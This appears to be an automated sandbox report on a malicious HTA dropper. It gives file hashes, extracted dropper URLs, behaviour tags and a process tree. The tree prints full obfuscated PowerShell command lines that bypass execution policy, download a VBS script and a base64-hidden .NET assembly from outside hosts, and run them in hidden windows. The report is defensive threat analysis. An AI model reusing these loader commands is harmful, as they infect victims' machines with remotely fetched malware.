Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    14-11-2024 02:57

General

  • Target

    aea9253a5f1a4e0f59325f84c015b3980a1573e1873643fce09e084a76e0047b.hta

  • Size

    207KB

  • MD5

    c68d7836e2c6c8a7a4a633990cae450a

  • SHA1

    5539d4f53c0606ce688636221c440b4b53c23ed6

  • SHA256

    aea9253a5f1a4e0f59325f84c015b3980a1573e1873643fce09e084a76e0047b

  • SHA512

    3b8b93c533a300b96df1c6c487cdead1ab42e859ffe5f8c1aa56236fcad9c553d79c46fd5cc6ee9a32523dec9c6e701d20961616646ba61e3c2239e415c875d0

  • SSDEEP

    96:43F97gqxE+VV7TEFVVHGRQKjfJIPEKswcE0EBeEVVjEKQ:43F15xTV7TwVHGRJjkhclBSVjvQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\aea9253a5f1a4e0f59325f84c015b3980a1573e1873643fce09e084a76e0047b.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2660
    • C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe
      "C:\Windows\sYStEm32\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe" "pOwerSHeLl.ExE -ex BYPasS -NOp -w 1 -c dEVIcECreDentIAldEplOYmEnT ; iex($(IEx('[sYSTEm.teXt.eNCoDING]'+[cHar]58+[ChaR]0X3a+'UTf8.getsTRiNg([sySTem.COnVERt]'+[CHaR]0X3a+[chAr]0X3A+'frombaSE64STrIng('+[chAR]0x22+'JFNyRkRDMnFKTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZU1iRXJkRWZJbmlUSU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSbG1vbi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBob0xpVWhiSW9ELHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVXSyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGhzbyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3dUxwdSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNQUyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZVNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNyRkRDMnFKTTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yOS82Ni9zZWVteWJlc3RnaXJsdGhpbmtpbmdzaGVpc2Fob3RjaGlja2J1dGZ1dmsudElGIiwiJEVuVjpBUFBEQVRBXHNlZW15YmVzdGdpcmx0aGlua2luZ3NoZWlzYWhvdGNoaWNrYnV0ZnUudmJTIiwwLDApO1N0YXJULXNMZUVwKDMpO3N0YXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3RnaXJsdGhpbmtpbmdzaGVpc2Fob3RjaGlja2J1dGZ1LnZiUyI='+[cHaR]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2988
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex BYPasS -NOp -w 1 -c dEVIcECreDentIAldEplOYmEnT
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2712
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yvj5tprs.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2624
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3361.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC3360.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2604
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemybestgirlthinkingsheisahotchickbutfu.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:792
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdMRVJpbWFnZScrJ1VybCA9ICcrJ0RqWmh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrJysnZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5UJysnSUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYnKycyYycrJzE3MzA5NDUxNzZhMDkwNGYgRGpaO0xFUndlYkNsJysnaScrJ2VudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7TEVSaW1hZ2VCeXRlcyAnKyc9IExFUndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoTEVSaW1hZ2UnKydVcmwpO0xFUmltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKExFJysnUmltYWcnKydlQnl0JysnZXMpO0xFUnN0YXJ0RmxhZyA9IERqWjw8QkEnKydTRTY0X1NUQVJUPj5Ealo7TEVSZW5kRmxhZyA9IERqWjw8QkFTRTY0X0VORD4+RGpaO0xFUnN0YXJ0SW5kZXggPSBMRVJpbWFnZVRleHQuSW5kZXhPZihMRVJzdGFydEZsYWcpO0xFUmVuZEluZGV4ID0gTEVSaW1hZ2VUZXh0LkluZGV4T2YoTEVSZW5kRicrJ2xhZyk7TEVSc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIExFUmVuZEluZGV4IC1ndCBMRVJzdGFydEluZGV4O0xFUnN0YXJ0SW5kZXggKz0gTEVSc3RhcicrJ3RGbGFnLkxlbmd0aDtMRVJiYXNlNjRMZW5ndGggPSBMRVJlbmRJbmRleCAtIExFUnN0YXJ0SW5kZXg7TEVSYmFzZTY0Q29tbWFuZCA9JysnIExFUmltYWdlVGV4dC5TdWJzdHJpbmcoTEVSc3RhcnRJbmRleCwgTEVSYmEnKydzZTY0TGVuZ3RoKTtMRVJiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChMRVJiYXNlNjRDb20nKydtYW5kLlRvQ2hhckFycmF5KCkgaTFCIEZvckVhY2gtT2JqZWN0IHsgTEVSXyB9KVstMS4uLShMRVJiYXNlNjRDJysnb21tYW5kLkxlbmd0aCldO0wnKydFUmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoTEVSYmFzZTY0UmV2ZXJzZWQpO0xFUmxvYWRlZEFzcycrJ2VtYmx5ID0gW1N5c3RlbS5SZWYnKydsZWN0JysnaW8nKyduLkFzc2VtYmx5XTo6TCcrJ29hZChMRVJjb21tYW5kQicrJ3l0ZXMpO0xFUnZhaU1ldGhvZCAnKyc9IFtkbmxpYi5JTy4nKydIb21lXS5HZXRNZXRob2QoRGpaVkFJRGpaKTtMRVJ2YWlNZXRob2QuSW52b2tlKExFUm51bGwsIEAoRGpadHh0LlJSRlRSV1MvNjYvOTIuMDIyLjMuMjkxLy86cHR0aERqWiwgRGpaZGVzYXRpdmFkb0RqWiwgRGpaZGVzYXRpdicrJ2EnKydkJysnb0RqWiwgRGpaZGVzYScrJ3RpdmFkb0RqWiwgRGpaQ2FzUG9sRGpaLCBEalpkZXNhdGl2YWRvRGpaLCBEalpkZXNhdGl2YWRvRGpaLERqWmRlc2F0aXZhZG9EalosRGpaZGUnKydzYXRpdmFkb0RqWixEalpkZXNhdGl2YWRvJysnRCcrJ2paLERqWmRlc2F0aXZhZG9EalosRGpaZGVzYXRpdmFkJysnb0RqWixEaloxRGpaLERqWmRlc2F0aXYnKydhZG9EalopKTsnKS5yZVBMQWNFKChbY0hBUl02OCtbY0hBUl0xMDYrW2NIQVJdOTApLFtTdHJpbmddW2NIQVJdMzkpLnJlUExBY0UoKFtjSEFSXTc2K1tjSEFSXTY5K1tjSEFSXTgyKSxbU3RyaW5nXVtjSEFSXTM2KS5yZVBMQWNFKCdpMUInLCd8JykgfCAmICggJHNIRWxsaURbMV0rJHNIRWxMSURbMTNdKyd4Jyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1964
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('LERimage'+'Url = '+'DjZhttps://1017.filemail.com/api/file/get?filek'+'ey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnT'+'ICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c6'+'2c'+'1730945176a0904f DjZ;LERwebCl'+'i'+'ent = New-Object System.Net.WebClient;LERimageBytes '+'= LERwebClient.DownloadDa'+'ta(LERimage'+'Url);LERimageText = [System.Text.Encoding]::UTF8.GetString(LE'+'Rimag'+'eByt'+'es);LERstartFlag = DjZ<<BA'+'SE64_START>>DjZ;LERendFlag = DjZ<<BASE64_END>>DjZ;LERstartIndex = LERimageText.IndexOf(LERstartFlag);LERendIndex = LERimageText.IndexOf(LERendF'+'lag);LERstartIndex -ge 0 -an'+'d LERendIndex -gt LERstartIndex;LERstartIndex += LERstar'+'tFlag.Length;LERbase64Length = LERendIndex - LERstartIndex;LERbase64Command ='+' LERimageText.Substring(LERstartIndex, LERba'+'se64Length);LERbase64Reversed = -join (LERbase64Com'+'mand.ToCharArray() i1B ForEach-Object { LER_ })[-1..-(LERbase64C'+'ommand.Length)];L'+'ERcommandBytes = [System.Convert]::FromBase64String(LERbase64Reversed);LERloadedAss'+'embly = [System.Ref'+'lect'+'io'+'n.Assembly]::L'+'oad(LERcommandB'+'ytes);LERvaiMethod '+'= [dnlib.IO.'+'Home].GetMethod(DjZVAIDjZ);LERvaiMethod.Invoke(LERnull, @(DjZtxt.RRFTRWS/66/92.022.3.291//:ptthDjZ, DjZdesativadoDjZ, DjZdesativ'+'a'+'d'+'oDjZ, DjZdesa'+'tivadoDjZ, DjZCasPolDjZ, DjZdesativadoDjZ, DjZdesativadoDjZ,DjZdesativadoDjZ,DjZde'+'sativadoDjZ,DjZdesativado'+'D'+'jZ,DjZdesativadoDjZ,DjZdesativad'+'oDjZ,DjZ1DjZ,DjZdesativ'+'adoDjZ));').rePLAcE(([cHAR]68+[cHAR]106+[cHAR]90),[String][cHAR]39).rePLAcE(([cHAR]76+[cHAR]69+[cHAR]82),[String][cHAR]36).rePLAcE('i1B','|') | & ( $sHElliD[1]+$sHElLID[13]+'x')"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2620

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RES3361.tmp

    Filesize

    1KB

    MD5

    36548fd40f253b9adb1d7d56e2b3b5ff

    SHA1

    138c4f301f1bcfa7a28ae361fc352ede76538d98

    SHA256

    2074b44fa5ef333e7b81f5bcd391c90a1fe844abf661a89971f3f30bf0d921e3

    SHA512

    c376b00cace899fcca29b024a11b0a166896b02a936a89bac9b7de83bd05c46129ff45f969ba0aa0bb7656a992d28c53354bc93d6c765f1cca1c39139e443fc4

  • C:\Users\Admin\AppData\Local\Temp\yvj5tprs.dll

    Filesize

    3KB

    MD5

    6ebddb818c7c55defbbcc2b8a304459d

    SHA1

    f96d61b32997ab94c721a5d2afbc79ca520e4d21

    SHA256

    1b7d5e4b720f83e56991a2af80920d917fbb08fc5c02d544f26d733ba8f477a0

    SHA512

    74d8e78405c8b90b38942c9b571ca8919e3fd6bd0f68e03e38d252bcd2eb829bb1c49e36ffbb05debd30bf8c9d9547710bcf362618164b4737de671a75ec1d6f

  • C:\Users\Admin\AppData\Local\Temp\yvj5tprs.pdb

    Filesize

    7KB

    MD5

    805db05a7d5b41102246e9fdae438469

    SHA1

    c8a37aa1e07441dbf85bd41e4b7d04e0b46130a6

    SHA256

    989bb66cb483aa029e9201b46db45cb992fc2408764b2146e56974e9037c653a

    SHA512

    18bd72d7b04c5a161f0a6128aa3decb76ea805d8a3c74dd08eb46986909609e5c2e3763fb6f9e24ba8a0c07c258b14242883f6ba72ad6731cbf6f71037c7dff0

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    e91317b2c29713532923c0f02729a96a

    SHA1

    b6625b16345c77578ea69ff6b74f8243002554a4

    SHA256

    e122dff370abdd0093b80e45275f49ff2bbb29751b7ff2351744517296e301f7

    SHA512

    e3a4477370e88c37e6a8131245b2bb149718a5c3d780460fcb2b1ad1b4ce236c9f663816516be8acd12a971d631c4ec41d66597871d82e3fec21fc9e89a6eaad

  • C:\Users\Admin\AppData\Roaming\seemybestgirlthinkingsheisahotchickbutfu.vbS

    Filesize

    137KB

    MD5

    b93e8a9bf23aeb31964d63d631ccf365

    SHA1

    05b27d7f62b142a9d88c6ab89eb8ffc5f2299bd4

    SHA256

    75a49d9f596717af29acad09533ed873c76d71ef857aa340e47a5605b209e63f

    SHA512

    46e5f392f462c69158443e1c26361e950452744240638375af4e3926f0b57eb2d0f58fea63a42f998e7da1776ee49cc993d67cc32c2b2aa5244476bc95654062

  • \??\PIPE\srvsvc

    MD5

    d41d8cd98f00b204e9800998ecf8427e

    SHA1

    da39a3ee5e6b4b0d3255bfef95601890afd80709

    SHA256

    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

    SHA512

    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC3360.tmp

    Filesize

    652B

    MD5

    7141961d1c08c3559ed9852108b97e1b

    SHA1

    36e2a00dcff7f407b13c81febf0ab04272b54e30

    SHA256

    e23800ddb796a9d13b10308204ba79d4725d0eb31a2c7403752d62ad5280ad89

    SHA512

    3540c5d508f6e45cde6c9f3f6d3c07429eec3b6ec7b8dec3f975552ec4b60ad1489b0d6a6147fb30b4dc5b86a14a6a4a2d3bca505725f8a66bd570037a033ae6

  • \??\c:\Users\Admin\AppData\Local\Temp\yvj5tprs.0.cs

    Filesize

    466B

    MD5

    70e878f483525e691692b50ba3aeadd0

    SHA1

    fa16b13bc12663af3d9a7e7dba4e027931cf9ccb

    SHA256

    3de2628d310015c0692133b3509877416f0c20159830c0d9ad45f10109f0bee8

    SHA512

    22cb839c634a7c5dc2c4b00c7c98aaa12bc4c3cc76a096e52004ede5b8f2b79e71670702f4a028b55bf2f411501dff4347cc1947fc345b32c8d957c2d9a31a05

  • \??\c:\Users\Admin\AppData\Local\Temp\yvj5tprs.cmdline

    Filesize

    309B

    MD5

    7fed7c4cd36e23c0215efc64a369e49d

    SHA1

    ae6135cb587d1afd4c8c45aade0913a9e26b5b36

    SHA256

    241309de2b26c9fde7e59c82dafa2f4af38ac270eeb2cc2eaae9f01e5b69bfad

    SHA512

    4b51324acafd2e3f0345e6c5dca2f6ef13467ef366cbdb63fdf2515bbf2442267185a1f15f53e58ed286308248da30df99527173b822decb6eb368bcf5697a55